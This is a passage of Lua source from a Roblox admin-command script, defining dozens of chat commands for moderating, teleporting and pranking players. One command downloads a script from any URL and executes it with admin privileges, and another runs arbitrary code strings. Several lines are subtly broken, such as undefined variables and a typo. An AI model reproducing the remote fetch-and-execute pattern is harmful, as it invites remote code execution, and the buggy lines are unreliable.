5026 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5027 local Players = STRING:Scan(Arguments[1], Speaker)
5028 for _,Player in pairs(Players) do
5029 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24})
5030 end
5031 end};
5032
5033 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5034 local Players = STRING:Scan(Arguments[1], Speaker)
5035 local AgeList = {}
5036 for _,Player in pairs(Players) do
5037 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5038 end
5039 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5040 end};
5041
5042 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5043 local Players = STRING:Scan(Arguments[1], Speaker)
5044 local AgeList = {}
5045 for _,Player in pairs(Players) do
5046 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5047 end
5048 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5049 for _,Player in pairs(SecondPlayers) do
5050 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5051 end
5052 end};
5053
5054 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5055 local Storage = {{}, {}, {}, {}}
5056 local StorageText = {}
5057 local Formatted = {}
5058 for CommandNames,Data in pairs(Commands) do
5059 if not Data.Hidden then
5060 local RankNeeded = RANK:ConvertRank(Data[4])
5061 local Add = ""
5062 if Data[4] == "Non-Admin" then Add = "BLACK " end
5063 if Data[4] == "Admin" then Add = "CYAN " end
5064 if Data[4] == "Member" then Add = "BLUE " end
5065 if Data[4] == "Owner" then Add = "GREEN " end
5066 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5067 local AddBet = Settings.Bet
5068 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5069 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5070 table.insert(Storage[RankNeeded + 1], Add..Text)
5071 StorageText[Text] = CommandNames
5072 end
5073 end
5074 for Num,_ in pairs(Storage) do
5075 table.sort(Storage[Num])
5076 end
5077 for _,Table in pairs(Storage) do
5078 for _,Command in pairs(Table) do
5079 table.insert(Formatted, Command)
5080 end
5081 end
5082 local Clicked = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5083 Clicked.Event:connect(function(Text)
5084 GUI:ShowCommand(Speaker, StorageText[Text])
5085 end)
5086 end};
5087
5088 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5089 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5090 end};
5091
5092 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5093 if GUI:GetColor(Arguments[1]) then
5094 local ColorScheme = string.upper(Arguments[1])
5095 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5096 Settings.ColorScheme = ColorScheme
5097 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5098 else
5099 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5100 end
5101 end};
5102
5103 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5104 local List = {}
5105 for Color,_ in pairs(Colors) do
5106 table.insert(List, Color.." "..Color)
5107 end
5108 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5109 end};
5110
5111 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5112 local Transparency = tonumber(Arguments[1])
5113 if Transparency then
5114 if Transparency > 90 then Transparency = 90 end
5115 if Transparency < 10 then Transparency = 10 end
5116 Settings.TransparencyScheme = Transparency/100
5117
5118 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5119 else
5120 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5121 end
5122 end};
5123
5124 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5125 if Fonts[Arguments[1]] then
5126 Settings.Font = Arguments[1]
5127 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5128 end
5129 end};
5130
5131 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5132 Settings.Fun = not Settings.Fun
5133 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5134 end};
5135
5136 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5137 Settings.DisableAbuse = not Settings.DisableAbuse
5138 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5139 end};
5140
5141 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5142 local List = {}
5143 for Font,_ in pairs(Fonts) do
5144 if Font == Settings.Font then
5145 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5146 else
5147 table.insert(List, Font.." "..Font)
5148 end
5149 end
5150 GUI:ListGui(Speaker, "Font list", List, 44453197)
5151 end};
5152
5153 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5154 local SoundID = tonumber(Arguments[1])
5155 if SoundID then
5156 Settings.ExecuteNotificationSound = SoundID
5157
5158 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5159 else
5160 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5161 end
5162 end};
5163
5164 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5165 Settings.ExecuteNotificationSound = 0
5166 end};
5167
5168 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5169 local Players = STRING:Scan(Arguments[1], Speaker)
5170 for _,Player in pairs(Players) do
5171 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5172 end
5173 end};
5174
5175 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5176 local Players = STRING:Scan(Arguments[1], Speaker)
5177 for _,Player in pairs(Players) do
5178 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5179 end
5180 end};
5181
5182 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5183 local Players = STRING:Scan(Arguments[1], Speaker)
5184 for _,Player in pairs(Players) do
5185 coroutine.wrap(function()
5186 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5187 wait(1)
5188 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5189 end)()
5190 end
5191 end, Hidden = true};
5192
5193 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5194 local Players = STRING:Scan(Arguments[1], Speaker)
5195 for _,Player in pairs(Players) do
5196 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5197 end
5198 end};
5199
5200 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5201 local Players = STRING:Scan(Arguments[1], Speaker)
5202 for _,Player in pairs(Players) do
5203 CORE:ChangeName(Player, Arguments[2])
5204 end
5205 end};
5206
5207 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5208 local Players = STRING:Scan(Arguments[1], Speaker)
5209 for _,Player in pairs(Players) do
5210 if Player.Character then
5211 local Head = Player.Character:FindFirstChild("Label")
5212 if Head then Head:Destroy() end
5213 local Head = Player.Character:FindFirstChild("Head")
5214 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5215 end
5216 end
5217 end};
5218
5219 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5220 local Players = STRING:Scan(Arguments[1], Speaker)
5221 for _,Player in pairs(Players) do
5222 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5223 end
5224 end};
5225
5226 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5227 local Players = STRING:Scan(Arguments[1], Speaker)
5228 for _,Player in pairs(Players) do
5229 local _,RankNum = RANK:GetRank(Player)
5230 if RankNum <= RANK:ConvertRank(Rank) then
5231 Server.TS:Teleport(Arguments[2], Player)
5232 end
5233 end
5234 end};
5235
5236 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5237 local Players = STRING:Scan(Arguments[1], Speaker)
5238 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5239 if Suc then
5240 for _,Player in pairs(Players) do
5241 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5242 end
5243 else
5244 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5245 end
5246 end};
5247
5248 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5249 local Players = STRING:Scan(Arguments[1], Speaker)
5250 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5251 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5252 if Suc then
5253 for _,Player in pairs(Players) do
5254 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5255 end
5256 else
5257 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5258 end
5259 end)
5260 end};
5261
5262 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5263 local Players = STRING:Scan(Arguments[1], Speaker)
5264 for _,Player in pairs(Players) do
5265 local _,RankNum = RANK:GetRank(Player)
5266 if RankNum < RANK:ConvertRank(Rank) then
5267 Server.TS:Teleport(155307015, Player)
5268 end
5269 end
5270 end};
5271
5272 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5273 local Players = STRING:Scan(Arguments[1], Speaker)
5274 for _,Player in pairs(Players) do
5275 local _,RankNum = RANK:GetRank(Player)
5276 if RankNum < RANK:ConvertRank(Rank) then
5277 Server.TS:Teleport(347911447, Player)
5278 end
5279 end
5280 end};
5281
5282 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5283 local Players = STRING:Scan(Arguments[1], Speaker)
5284 for _,Player in pairs(Players) do
5285 CORE:GenerateShield(Player)
5286 end
5287 end};
5288
5289 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5290 local Players = STRING:Scan(Arguments[1], Speaker)
5291 for _,Player in pairs(Players) do
5292 if Player.Character then
5293 local Shield = Player.Character:FindFirstChild("Shield")
5294 if Shield then Shield:Destroy() end
5295 end
5296 end
5297 end};
5298
5299 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5300 local Num = tonumber(Arguments[1])
5301 if Num and Num ~= 0 then
5302 local Random = math.random(1,math.abs(Num))
5303 if Random == math.random(1,math.abs(Num)) then
5304 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5305 else
5306 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5307 end
5308 else
5309 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5310 end
5311 end};
5312
5313 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5314 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5315 IRC:AddChat(Speaker.Name, Arguments[1])
5316 end};
5317
5318 --[[
5319 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5320 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5321 if Res then
5322 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5323 end
5324 end, Http = true};
5325
5326 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5327 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5328 if Res then
5329 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5330 end
5331 end}, Http = true;
5332 ]]
5333
5334 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5335 IRC:Quit("Reconnecting")
5336 IRC:ConnectToServer(Settings.IRCServer)
5337 end};
5338
5339 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5340 local Players = STRING:Scan(Arguments[1], Speaker)
5341 for _,Player in pairs(Players) do
5342 local PreAdd = {}
5343 for _,Data in pairs(IRC.Chats) do
5344 local Error = nil
5345 if Rank == "Owner" then Error = Data[3] end
5346 table.insert(PreAdd, {Data[1], Data[2], Error})
5347 end
5348 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5349 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5350 if Rank ~= "Owner" then Error = nil end
5351 AddMessage:Invoke(UserName, Message, Error)
5352 end)
5353 SendPressed.Event:connect(function(Text)
5354 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5355 IRC:AddChat(Player.Name, Text)
5356 end)
5357 end
5358 end};
5359
5360 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5361 local Players = STRING:Scan(Arguments[1], Speaker)
5362 for _,Player in pairs(Players) do
5363 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5364 if Type == "Leave" then
5365 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5366 elseif Type == "Join" then
5367 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5368 end
5369 end)
5370 PriChat.Chatted.Event:connect(function(UserName, Message)
5371 AddMessage:Invoke(UserName, Message)
5372 end)
5373 SendPressed.Event:connect(function(Text)
5374 PriChat.Chatted:Fire(Player.Name, Text)
5375 table.insert(PriChat.Chats, {Player.Name, Text})
5376 end)
5377 end
5378 end};
5379
5380 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5381 ExecuteSafe(Arguments[1], Speaker)
5382 end};
5383
5384 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5385 local Script = REMOTE:GetURL(Arguments[1], Player)
5386 if Script then
5387 ExecuteSafe(Script, Speaker)
5388 end
5389 end, Http = true};
5390
5391 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5392 local Time = tick()
5393 local Res = REMOTE:GetURL(Arguments[1], Player)
5394 if Res then
5395 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5396 end
5397 end, Http = true};
5398
5399 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5400 CORE:RemoveAdmin(Speaker)
5401 end};
5402
5403 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5404 for _,Player in pairs(Server.Players:GetPlayers()) do
5405 GUI:SendHint(Player, Arguments[1])
5406 end
5407 end};
5408
5409 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5410 local Players = STRING:Scan(Arguments[1], Speaker)
5411 local Debt = nil
5412 for _,Player in pairs(Players) do
5413 if not Debt then
5414 Debt = GUI:ShowDebtStats(Player)
5415 else
5416 GUI:ShowDebtStats(Player, Debt)
5417 end
5418 end
5419 end, Http = true};
5420
5421 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5422 local Players = STRING:Scan(Arguments[1], Speaker)
5423 for _,Player in pairs(Players) do
5424 GUI:CreateHUD(Player)
5425 end
5426 end};
5427
5428 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5429 local Players = STRING:Scan(Arguments[1], Speaker)
5430 for _,Player in pairs(Players) do
5431 if Player:FindFirstChild("PlayerGui") then
5432 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5433 if HUD then HUD:Destroy() end
5434 end
5435 end
5436 end};
5437
5438 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5439 local Players = STRING:Scan(Arguments[1], Speaker)
5440 GUI:Vote(Speaker, Players, Arguments[2], 30)
5441 end};
5442
5443 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5444 local Players = STRING:Scan(Arguments[1], Speaker)
5445 for _,Player in pairs(Players) do
5446 CORE:ExecuteResource("Bomb", Player.Character)
5447 end
5448 end};
5449
5450 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5451 local Players = STRING:Scan(Arguments[1], Speaker)
5452 for _,Player in pairs(Players) do
5453 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5454 CORE:RestoreCamera(Player)
5455 end
5456 end};
5457
5458 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5459 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5460 CORE:RestoreCamera(Speaker)
5461 end};
5462
5463 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5464 local Players1 = STRING:Scan(Arguments[1], Speaker)
5465 local Players2 = STRING:Scan(Arguments[2], Speaker)
5466 for _,Player1 in pairs(Players1) do
5467 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5468 for _,Player2 in pairs(Players2) do
5469 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5470 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5471 end
5472 end
5473 end
5474 end
5475 end};
5476
5477 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5478 local Players = STRING:Scan(Arguments[1], Speaker)
5479 for _,Player in pairs(Players) do
5480 Player:LoadCharacter()
5481 end
5482 end};
5483
5484 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5485 local Players = STRING:Scan(Arguments[1], Speaker)
5486 for _,Player in pairs(Players) do
5487 CORE:RestoreCamera(Player)
5488 end
5489 end};
5490
5491 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5492 local Players = STRING:Scan(Arguments[1], Speaker)
5493 for _,Player in pairs(Players) do
5494 CORE:Jail(Player)
5495 end
5496 end};
5497
5498 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5499 local Players = STRING:Scan(Arguments[1], Speaker)
5500 for _,Player in pairs(Players) do
5501 CORE:UnJail(Player)
5502 end
5503 end};
5504
5505 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5506 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5507 end};
5508
5509 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5510 SOUND:StopSpeaking()
5511 end};
5512
5513 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5514 local Players = STRING:Scan(Arguments[1], Speaker)
5515 local Compile = {}
5516 for Num,Player in pairs(Players) do
5517 local PlayerRank = RANK:GetRank(Player)
5518 local PlayerInfo = ClientInfo[Player.Name]
5519 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5520 table.insert(Compile, "User ID: "..Player.UserId)
5521 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5522 table.insert(Compile, "Rank: "..PlayerRank)
5523
5524 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5525 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5526 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5527 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5528 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5529 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5530 if PlayerInfo.Benchmark then
5531 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5532 end
5533 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5534 end
5535 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5536 end};
5537
5538 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5539 if tonumber(Arguments[2]) then
5540 local Players = STRING:Scan(Arguments[1], Speaker)
5541 for _,Player in pairs(Players) do
5542 coroutine.wrap(function()
5543 if Player.Character then
5544 table.insert(LoopKills, Player.Name)
5545 local Loop = nil
5546 local PrevChar = nil
5547
5548 for i = 1,tonumber(Arguments[2]) do
5549 local Char = Player.Character
5550 if PrevChar and PrevChar ~= Char then
5551 PrevChar:Destroy()
5552 end
5553 PrevChar = Char
5554 local CanDie = true
5555 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5556 if CanDie == false then
5557 break
5558 end
5559 ypcall(function() Char.Parent = Server.Lighting end)
5560 wait(0.1)
5561 ypcall(function() Char.Parent = Server.Workspace end)
5562 wait(0.1)
5563 end
5564 end
5565 end)()
5566 end
5567 else
5568 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5569 end
5570 end};
5571
5572 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5573 local Players = STRING:Scan(Arguments[1], Speaker)
5574 for _,Player in pairs(Players) do
5575 for Num,Name in pairs(LoopKills) do
5576 if Player.Name == Name then
5577 table.remove(LoopKills, Num)
5578 end
5579 end
5580 end
5581 end};
5582
5583 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5584 SOUND:PlayGlobalSound(Arguments[1])
5585 end};
5586
5587 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5588 SOUND:StopGlobalSound()
5589 end};
5590
5591 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5592 local Pitch = tonumber(Arguments[1])
5593 if not Pitch then Pitch = 1 end
5594 if Sound then
5595 Sound.Pitch = Pitch
5596 end
5597 end};
5598
5599 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5600 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5601 local Items = MARKET:SearchItem(9, Arguments[1])
5602 if Items then
5603 if #Items ~= 0 then
5604 local List,Correlate = {},{}
5605 for Num,Info in pairs(Items) do
5606 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5607 table.insert(List, Display)
5608 Correlate[Display] = Info.AssetId
5609 end
5610 CloseGui:Invoke()
5611
5612 local CanClick = true
5613 if Rank == "Member" then CanClick = false end
5614 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5615 Clicked.Event:connect(function(ClickName)
5616 local OldSoundId = nil
5617 SOUND:StopGlobalSound()
5618 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5619 SOUND:PlayGlobalSound(Correlate[ClickName])
5620 end
5621 end)
5622 else
5623 CloseGui:Invoke()
5624 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5625 end
5626 else
5627 CloseGui:Invoke()
5628 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5629 end
5630 end, Http = true};
5631
5632 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5633 local Players = STRING:Scan(Arguments[1], Speaker)
5634 for _,Player in pairs(Players) do
5635 if Player.Character then
5636 CORE:ExecuteResource("Gun", Player.Character)
5637 end
5638 end
5639 end};
5640
5641 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5642 local Players = STRING:Scan(Arguments[1], Speaker)
5643 for _,Player in pairs(Players) do
5644 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5645 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5646 Player.Character.Humanoid.WalkSpeed = 0
5647 Player.Character.Torso.Anchored = true
5648 coroutine.wrap(function()
5649 local OldCFrame = Player.Character.Torso.CFrame
5650 for i = 0,8,0.1 do
5651 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5652 wait()
5653 end
5654 Player.Character.Torso.Anchored = false
5655 Player.Character:BreakJoints()
5656 CORE:InvisiblePlayer(Player)
5657 end)()
5658 end
5659 end
5660 end};
5661
